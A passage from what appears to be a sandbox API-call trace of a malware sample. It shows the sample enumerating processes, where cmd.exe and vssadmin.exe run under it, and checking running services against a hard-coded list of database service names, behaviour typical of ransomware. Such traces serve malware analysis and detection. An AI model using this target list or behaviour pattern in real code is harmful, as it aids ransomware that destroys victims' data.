returned 10 [0214.121] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.122] lstrlenW (lpString="svchost.exe") returned 11 [0214.122] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0214.122] lstrlenW (lpString="taskhostw.exe") returned 13 [0214.123] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0214.123] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0214.123] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0214.124] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0214.124] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0214.125] lstrlenW (lpString="explorer.exe") returned 12 [0214.125] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0214.126] lstrlenW (lpString="Memory Compression") returned 18 [0214.126] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0214.126] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0214.126] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0214.127] lstrlenW (lpString="SearchUI.exe") returned 12 [0214.127] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0214.128] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0214.128] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0214.129] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0214.129] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="entering.exe")) returned 1 [0214.129] lstrlenW (lpString="entering.exe") returned 12 [0214.129] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="literally.exe")) returned 1 [0214.130] lstrlenW (lpString="literally.exe") returned 13 [0214.130] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="prep.exe")) returned 1 [0214.131] lstrlenW (lpString="prep.exe") returned 8 [0214.131] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="homeless.exe")) returned 1 [0214.131] lstrlenW (lpString="homeless.exe") returned 12 [0214.131] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="tips.exe")) returned 1 [0214.132] lstrlenW (lpString="tips.exe") returned 8 [0214.132] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rhode_cow.exe")) returned 1 [0214.133] lstrlenW (lpString="rhode_cow.exe") returned 13 [0214.133] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="discount.exe")) returned 1 [0214.133] lstrlenW (lpString="discount.exe") returned 12 [0214.134] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="littleclosest.exe")) returned 1 [0214.134] lstrlenW (lpString="littleclosest.exe") returned 17 [0214.134] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="compact.exe")) returned 1 [0214.135] lstrlenW (lpString="compact.exe") returned 11 [0214.135] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="transmission-inclusion.exe")) returned 1 [0214.136] lstrlenW (lpString="transmission-inclusion.exe") returned 26 [0214.136] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mcdonald-drugs-employers.exe")) returned 1 [0214.148] lstrlenW (lpString="mcdonald-drugs-employers.exe") returned 28 [0214.148] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="harris promoting wow.exe")) returned 1 [0214.148] lstrlenW (lpString="harris promoting wow.exe") returned 24 [0214.149] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="vincentkills.exe")) returned 1 [0214.149] lstrlenW (lpString="vincentkills.exe") returned 16 [0214.149] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="armstrong.exe")) returned 1 [0214.150] lstrlenW (lpString="armstrong.exe") returned 13 [0214.150] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="superb_guilty.exe")) returned 1 [0214.151] lstrlenW (lpString="superb_guilty.exe") returned 17 [0214.151] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="conditional employer.exe")) returned 1 [0214.151] lstrlenW (lpString="conditional employer.exe") returned 24 [0214.151] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="middle shown.exe")) returned 1 [0214.152] lstrlenW (lpString="middle shown.exe") returned 16 [0214.152] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forced_online.exe")) returned 1 [0214.153] lstrlenW (lpString="forced_online.exe") returned 17 [0214.153] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="knitting.exe")) returned 1 [0214.153] lstrlenW (lpString="knitting.exe") returned 12 [0214.153] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="counting_rankings_maternity.exe")) returned 1 [0214.154] lstrlenW (lpString="counting_rankings_maternity.exe") returned 31 [0214.154] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="telephony_assumption_pharmacies.exe")) returned 1 [0214.155] lstrlenW (lpString="telephony_assumption_pharmacies.exe") returned 35 [0214.155] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guidance inns helpful.exe")) returned 1 [0214.156] lstrlenW (lpString="guidance inns helpful.exe") returned 25 [0214.156] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x490, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0214.157] lstrlenW (lpString="svchost.exe") returned 11 [0214.157] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x12c, pcPriClassBase=4, dwFlags=0x0, szExeFile="CompatTelRunner.exe")) returned 1 [0214.157] lstrlenW (lpString="CompatTelRunner.exe") returned 19 [0214.157] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0xd14, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0214.158] lstrlenW (lpString="conhost.exe") returned 11 [0214.158] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="TrustedInstaller.exe")) returned 1 [0214.159] lstrlenW (lpString="TrustedInstaller.exe") returned 20 [0214.159] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0214.160] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0214.160] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0214.161] lstrlenW (lpString="WMIADAP.exe") returned 11 [0214.161] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xb04, pcPriClassBase=8, dwFlags=0x0, szExeFile="11.exe")) returned 1 [0214.161] lstrlenW (lpString="11.exe") returned 6 [0214.161] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0214.162] lstrlenW (lpString="cmd.exe") returned 7 [0214.162] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0214.163] lstrlenW (lpString="conhost.exe") returned 11 [0214.163] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0214.164] lstrlenW (lpString="vssadmin.exe") returned 12 [0214.164] Process32NextW (in: hSnapshot=0x364, lppe=0x25dfd2c | out: lppe=0x25dfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xb10, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 0 [0214.164] CloseHandle (hObject=0x364) returned 1 [0214.164] Sleep (dwMilliseconds=0x1f4) [0214.678] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8899a8 [0214.678] EnumServicesStatusExW (in: hSCManager=0x8899a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0 [0214.678] GetLastError () returned 0xea [0214.678] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x1e4a) returned 0x801a48 [0214.678] EnumServicesStatusExW (in: hSCManager=0x8899a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x801a48, cbBufSize=0x1e4a, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x801a48, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1 [0214.679] CloseServiceHandle (hSCObject=0x8899a8) returned 1 [0214.679] lstrlenW (lpString="Appinfo") returned 7 [0214.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0214.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0214.679] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0214.679] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0214.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0214.679] lstrlenW (lpString="AppXSvc") returned 7 [0214.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0214.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0214.679] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0214.680] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0214.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0214.680] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0214.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0214.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0214.680] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0214.680] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0214.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0214.680] lstrlenW (lpString="Audiosrv") returned 8 [0214.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0214.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0214.680] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0214.680] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0214.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0214.680] lstrlenW (lpString="BFE") returned 3 [0214.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0214.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0214.680] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0214.680] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0214.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0214.680] lstrlenW (lpString="BITS") returned 4 [0214.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0214.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0214.680] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0214.680] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0214.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0214.680] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0214.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0214.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0214.681] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0214.681] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0214.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0214.681] lstrlenW (lpString="CDPSvc") returned 6 [0214.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0214.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0214.681] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0214.681] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0214.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0214.681] lstrlenW (lpString="ClickToRunSvc") returned 13 [0214.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0214.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0214.681] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0214.681] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0214.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0214.681] lstrlenW (lpString="ClipSVC") returned 7 [0214.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClipSVC") returned 1 [0214.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClipSVC") returned 1 [0214.681] lstrcmpiW (lpString1="sqlwriter", lpString2="ClipSVC") returned 1 [0214.681] lstrcmpiW (lpString1="mssqlserver", lpString2="ClipSVC") returned 1 [0214.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClipSVC") returned 1 [0214.681] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0214.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0214.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0214.681] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0214.681] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0214.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0214.682] lstrlenW (lpString="CryptSvc") returned 8 [0214.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0214.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0214.682] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0214.682] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0214.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0214.682] lstrlenW (lpString="DcomLaunch") returned 10 [0214.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0214.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0214.682] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0214.682] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0214.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0214.682] lstrlenW (lpString="Dhcp") returned 4 [0214.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0214.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0214.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0214.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0214.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0214.682] lstrlenW (lpString="Dnscache") returned 8 [0214.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0214.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0214.682] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0214.682] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0214.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0214.682] lstrlenW (lpString="DoSvc") returned 5 [0214.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0214.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0214.682] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0214.683] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0214.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0214.683] lstrlenW (lpString="DPS") returned 3 [0214.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0214.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0214.683] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0214.683] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0214.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0214.683] lstrlenW (lpString="DusmSvc") returned 7 [0214.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0214.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0214.683] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0214.683] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0214.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0214.683] lstrlenW (lpString="EventLog") returned 8 [0214.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0214.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0214.683] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0214.683] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0214.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0214.683] lstrlenW (lpString="EventSystem") returned 11 [0214.683] 